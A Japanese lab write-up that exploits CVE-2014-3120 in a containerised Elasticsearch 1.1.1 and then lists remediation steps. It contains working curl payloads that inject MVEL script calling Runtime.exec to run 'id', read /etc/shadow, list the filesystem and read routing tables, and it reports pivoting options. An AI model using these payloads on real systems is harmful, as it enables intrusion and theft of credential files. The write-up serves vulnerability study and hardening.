
まず、環境内で実行されているものを確認します。アクティブなコンテナをすべてリストアップします:
docker ps

結果: コンテナ p1/lab10:latest が実行されており、2つのポート を外部に公開しています:
| ポートマッピング | プロトコル |
|---|---|
0.0.0.0:9200 → 9200/tcp | HTTP (要確認) |
0.0.0.0:9300 → 9300/tcp | 不明 |
初期観察: ポート 9200 と 9300 は、Elasticsearch のデフォルトポートとして一般的に知られています。ただし、ポート番号だけに基づいて結論を下すことはできません。他の多くのサービスも任意のポートにバインドできるからです。
⇒ curl で各ポートに直接アクセスして、実際に動作しているサービスを確認します。
curl -i http://192.168.3.137:9300/

レスポンス分析:
curl: (52) Empty reply from server評価: サーバーは TCP 接続 を受け入れましたが (connection refused は発生していない)、HTTP プロトコルでは応答しませんでした。これは ポート 9300 における Elasticsearch Transport プロトコル の挙動と一致します。Transport プロトコルは、クラスタ内のノード間通信に使われるバイナリプロトコルであり、HTTP ではありません。
⇒ 考え方: ポート 9300 はバイナリプロトコルを使用 → curl やブラウザで直接悪用することはできない。ポート 9200(HTTP REST API ポート)の確認に切り替えます。
curl -i http://192.168.3.137:9200/

レスポンス分析:
攻撃対象領域の評価:

⇒ 考え方: Elasticsearch 1.1.1 は 動的スクリプティング (Dynamic Scripting) がデフォルトで有効です。クライアントが検索クエリ内にスクリプト (MVEL 式) を送信し、サーバーに実行させることができます。サンドボックスや適切な検証がない場合、攻撃者は悪意のあるスクリプトを注入して システムコマンドを実行 できます。次のステップ: ターゲット上で Dynamic Scripting が実際に有効かどうかを確認します。
Elasticsearch は スクリプティング (Scripting) 機能をサポートしています。クライアントが検索リクエスト内にスクリプト (数式や論理式) を送信し、結果の処理時にサーバーで実行させることができます。Elasticsearch 1.x では、この機能のデフォルトエンジンは MVEL (MVFLEX Expression Language) です。
1.2 より前 の Elasticsearch バージョンでは、動的スクリプティングは デフォルトで有効 です (script.disable_dynamic: false)。これは次のことを意味します:
_search API の script_fields パラメータを介して 任意のスクリプト を送信できるjava.lang.Runtime.getRuntime().exec() を呼び出して システムコマンドを実行 できるscript_fields の仕組みscript_fields を含む検索リクエストが送信されると、Elasticsearch は以下を実行します:
_search API を介して JSON リクエストを受け取るscript_fields フィールドを解析 → 実行する script を見つけるJava でシステムコマンドを実行する最も一般的な方法は次のとおりです:
Runtime.getRuntime().exec("command");
MVEL は Java クラスへの フルアクセス を持つ式言語として、これを直接呼び出すことができます:
import java.io.*;
new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();
各部分の説明:
⇒ 考え方: Elasticsearch では、RCE の出力は レスポンス内に直接返されます。ファイルにリダイレクトして読み戻す必要はありません。これにより、エクスプロイトはよりクリーンで検証も高速になります。
ターゲットが Elasticsearch 1.1.1 であると特定したら、次のステップとして 動的スクリプティング (Dynamic Scripting) が実際に有効かどうかを検証します。
CVE-2014-3120 は、Elasticsearch がクライアントに _search リクエスト内でのスクリプト送信を許可するという事実を悪用します。スクリプトがサーバー側で実行された場合、攻撃者は無害な式を、Java Runtime を呼び出してシステムコマンドを実行するペイロードに置き換えることができます。
まず、クエリが少なくとも 1 件の一致結果を持つように、テストドキュメントを作成します。ドキュメントが一致しない場合、script_fields は評価されません。
curl -s -X POST 'http://192.168.3.137:9200/test_index/test_type/1' \
-H 'Content-Type: application/json' \
-d '{"name":"test"}'
次にインデックスをリフレッシュします:
curl -s -X POST 'http://192.168.3.137:9200/test_index/_refresh'
次に、無害な MVEL 式を含む script_fields を指定した _search リクエストを送信します:
curl -s -X POST 'http://192.168.3.137:9200/test_index/_search?pretty' \
-H 'Content-Type: application/json' \
-d '{
"size": 1,
"query": {
"match_all": {}
},
"script_fields": {
"test": {
"script": "1+1"
}
}
}'

スクリプト "1+1" を送信すると、サーバーは結果 2 を返します。これは、Elasticsearch が _search リクエストを受け取るだけでなく、動的スクリプトをサーバー側で実行している ことを証明します。
⇒ 動的スクリプティング はターゲット上で有効です。
ターゲットは Elasticsearch 1.1.1 であり、1.2 より前のバージョンです。これは CVE-2014-3120 のエクスプロイト要件と一致します。Elasticsearch 1.2 より前では動的スクリプティングがデフォルトで有効であり、リモートの攻撃者が検索リクエストを介して MVEL 式/Java コードを実行できるようになります。
script_fields が Elasticsearch によってサーバー側で実行されることを、無害な式 "1+1" が [2] を返すことで検証しました。
これは、ターゲットが標準的な検索を許可するだけでなく、クライアントが MVEL スクリプト を送信し、_search 処理中にサーバーで評価させることも許可していることを証明します。
CVE-2014-3120 の場合、重大なリスクは、Elasticsearch 1.1.1 の MVEL が Java クラスにアクセスできるという事実にあります。したがって、攻撃者は "1+1" のような数式を送信する代わりに、Java Runtime を呼び出すスクリプトを送信できます:
Runtime.getRuntime().exec("command")
これは、新しいプロセスを作成してオペレーティングシステム上でコマンドを実行するための標準的な Java API です。
_search API
→ script_fields
→ MVEL expression
→ Java Runtime
→ Runtime.getRuntime().exec("command")
→ getInputStream()
→ Scanner reads stdout
→ result returned in the JSON response
RCE ペイロード:
curl -s -X POST http://192.168.3.137:9200/_search?pretty -H "Content-Type: application/json" -d '{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {}
}
}
},
"script_fields": {
"exploit": {
"script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}'

ペイロードの内訳:
結果:
レスポンスは、id コマンドの出力を含む fields.exploit フィールドを返します:
"exploit": [
"uid=0(root) gid=0(root) groups=0(root)\n"
]
分析:
ペイロードは、script_fields 内の MVEL スクリプトを介して Runtime.getRuntime().exec("id") を呼び出すことに成功しました。レスポンスが id コマンドの出力を返すという事実は、コマンドがサーバー側で実行されたことを証明します。
結果 uid=0(root) gid=0(root) groups=0(root) は、コンテナ内の Elasticsearch プロセスが root 権限で実行されていることを示します。
RCE を確認した後、機密ファイルの読み取りを試みて、実際の権限を検証する必要があります:
curl -s -X POST http://192.168.3.137:9200/_search?pretty -H "Content-Type: application/json" -d '{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {}
}
}
},
"script_fields": {
"shadow_test": {
"script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"cat /etc/shadow\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}'

観察された結果:
レスポンスは /etc/shadow ファイルの内容を返します:
root:*:17728:0:99999:7:::
daemon:*:17728:0:99999:7:::
bin:*:17728:0:99999:7:::
...
分析:
/etc/shadow ファイルは Linux の機密システムファイルであり、通常は root ユーザーまたは同等の権限を持つプロセスのみが読み取れます。前のステップで、id コマンドは次のように返しました:
uid=0(root) gid=0(root) groups=0(root)
このステップでは、実際の動作によってさらに確認されます。RCE ペイロードは /etc/shadow の読み取りに成功 しています。
⇒ コンテナ内の Elasticsearch は root 権限 で実行されています。
⇒ 影響は一般的なコマンド実行に限定されず、コンテナ内での root 権限による RCE です。
注: ここでの root 権限は、Docker コンテナ内の root を指します。コンテナが特権モードで実行されている、Docker ソケットがマウントされている、またはホストの機密ボリュームがマウントされているという証拠がなければ、攻撃者がホスト上で root 権限を持っているとは結論付けられません。
RCE が確認されました。影響範囲を評価するために、システム情報を収集します。
root 権限での RCE を確認した後、MVEL ペイロードを介して ls -la / コマンドを実行し、ターゲット内部のファイルシステムを観察します:
curl -s -X POST 'http://192.168.3.137:9200/_search?pretty' \
-H 'Content-Type: application/json' \
-d '{
"size": 1,
"query": {"filtered": {"query": {"match_all": {}}}},
"script_fields": {
"rootfs": {
"script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"ls -la /\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}'

結果: レスポンスは rootfs フィールド内に / ディレクトリの内容を返します。
分析:
ls -la / の出力が JSON レスポンスに現れるという事実は、コマンドが RCE を介してターゲット上で実行された ことを証明します。docker-entrypoint.sh、elasticsearch ディレクトリ、docker-java-home シンボリックリンク などのファイルは、侵害された環境が Elasticsearch を実行するコンテナであることを示しています。
⇒ 攻撃者はコンテナ内のファイルシステムを root 権限で一覧表示できます。
コンテナには /sbin/ifconfig バイナリがないため、/proc/net/route を直接読み取ります。このファイルは外部ユーティリティを必要とせず、コンテナのルーティングテーブルを提供します。
curl -s -X POST 'http://192.168.3.137:9200/_search?pretty' \
-H 'Content-Type: application/json' \
-d '{
"size": 1,
"query": {"filtered": {"query": {"match_all": {}}}},
"script_fields": {
"route": {
"script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"cat /proc/net/route\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}'

分析:
結果は、コンテナがインターフェース eth0 を持ち、Docker ネットワーク 172.19.0.0/16 内に存在することを示しています。デフォルトゲートウェイは 172.19.0.1 です。
これは、コンテナが Docker ブリッジを介した内部ネットワーク接続を持つことを証明します。攻撃者はすでにコンテナ内で root 権限による RCE を持っているため、ネットワークポリシーが許可していれば、理論的には同じ Docker ネットワーク内の他のホスト/サービスを調査し続けることができます。
ただし、この出力は ルーティングレベルでのネットワーク可視性のみを証明 しており、ピボットの成功を証明するものではありません。ピボットを結論付けるには、別のホストのスキャン成功、内部サービスへの接続、別のネットワークからのリソース取得など、さらなる証拠が必要です。
分析中に収集された証拠に基づき、ターゲットはポート 9200 で Elasticsearch 1.1.1 を実行しています。このバージョンは 1.2 より前であり、CVE-2014-3120 の影響範囲に該当します。
この脆弱性は、Elasticsearch がバージョン 1.2 より前で 動的スクリプティング (Dynamic Scripting) をデフォルトで有効にしており、クライアントが検索リクエストを介して MVEL スクリプトを送信できることに起因します。このラボでは、この機能は無害な式 "1+1" を使用して確認され、結果 [2] が返されました。
その後、MVEL ペイロードは次を呼び出しました:
Runtime.getRuntime().exec("id")
レスポンスは次のように返しました:
uid=0(root) gid=0(root) groups=0(root)
これは、攻撃者が Elasticsearch を介してシステムコマンドを実行できることを証明します。さらに、ペイロードは /etc/shadow の読み取りに成功し、実行権限がコンテナ内で root であることを確認しました。
1. Elasticsearch を新しいバージョンにアップグレードする
Elasticsearch をバージョン >= 1.2.0 (最低限) または理想的には現在サポートされているバージョン (8.x) にアップグレードしてください。バージョン 1.2 以降、動的スクリプティングは デフォルトで無効 になります。
2. 直ちに動的スクリプティングを無効にする (アップグレードが不可能な場合)
elasticsearch.yml に以下を追加します:
script.disable_dynamic: true
変更後に Elasticsearch を再起動します。これにより、クライアントが検索リクエスト内でスクリプトを送信する機能が完全に無効になります。
3. Elasticsearch REST API を信頼できないネットワークに公開しない
Elasticsearch はバージョン 1.x では デフォルトの認証を持ちません。どうしても公開する必要がある場合は、認証付きのリバースプロキシの背後に配置するか、127.0.0.1 にのみバインドしてください。
4. 認証と暗号化を有効にする
最新の Elasticsearch バージョン (7.x+) は、組み込みのセキュリティ (認証、TLS) をサポートしています。アップグレードした場合は、セキュリティ機能を有効にしてください:
xpack.security.enabled: true
xpack.security.transport.ssl.enabled: true
5. ファイアウォールでアクセスを制限する
信頼できる IP のみがポート 9200 と 9300 にアクセスできるようにしてください。インターネットや内部ネットワーク全体に 公開しない でください。
6. Elasticsearch を低権限ユーザーで実行する
Elasticsearch を root ユーザーで実行しないでください。最小限の権限を持つ専用の elasticsearch ユーザーを作成してください。これは公式のベストプラクティスです。
| フィールド | 値 | 意味 |
|---|
name | "Rage" | Elasticsearch ノード名 (ランダムな Marvel キャラクター名 - 古い ES バージョンのデフォルト動作) |
version.number | "1.1.1" | 非常に古いバージョン - 2014年4月リリース |
build_timestamp | "2014-04-16T14:27:12Z" | 2014年にビルド |
lucene_version | "4.7" | Lucene 4.7 - 古いインデックスエンジン |
tagline | "You Know, for Search" | Elasticsearch の特徴的な署名フレーズ |
| 部分 | 説明 |
|---|
import java.io.* | Java IO クラスをインポート |
Runtime.getRuntime() | Java Runtime インスタンスを取得 |
.exec("id") | シェルコマンド id を実行 |
.getInputStream() | プロセスの出力ストリームを取得 |
new Scanner(...).useDelimiter("\\A").next() | 出力全体を文字列として読み取る |
| 部分 | 目的 |
|---|
"size": 1 | 結果を 1 ドキュメントに制限 |
"query" → "match_all" | すべてのドキュメントに一致 (インデックス内に少なくとも 1 ドキュメント存在する必要がある) |
"script_fields" → "exploit" | MVEL スクリプトを実行する計算フィールドを定義 |
"script": "import java.io.*; ..." | id コマンドを実行して出力を返す MVEL 式 |
| 基準 | 評価 | 詳細 |
|---|
| CVE | CVE-2014-3120 | Elasticsearch 動的スクリプティング RCE |
| 影響を受けるサービス | Elasticsearch | REST API がポート 9200 で公開 |
| バージョン | 1.1.1 | 1.2 より前、影響を受けるバージョンに該当 |
| 認証 | ラボでは不要 | REST API が直接応答、資格情報は不要 |
| エクスプロイト条件 | 動的スクリプティングが有効 | スクリプト "1+1" が [2] を返すことで確認 |
| 取得した権限 | コンテナ内の root | id が uid=0(root) を返す |
| 影響 | 非常に高い | RCE、機密ファイルの読み取り、ファイルシステムの一覧表示、ユーザー/ネットワーク情報の収集 |
| 範囲 | コンテナ | ホスト侵害の証拠はまだなし |
| ピボット | さらなる検証の可能性 | コンテナは Docker ネットワーク 172.19.0.0/16 内で eth0 を介したルートを持つ |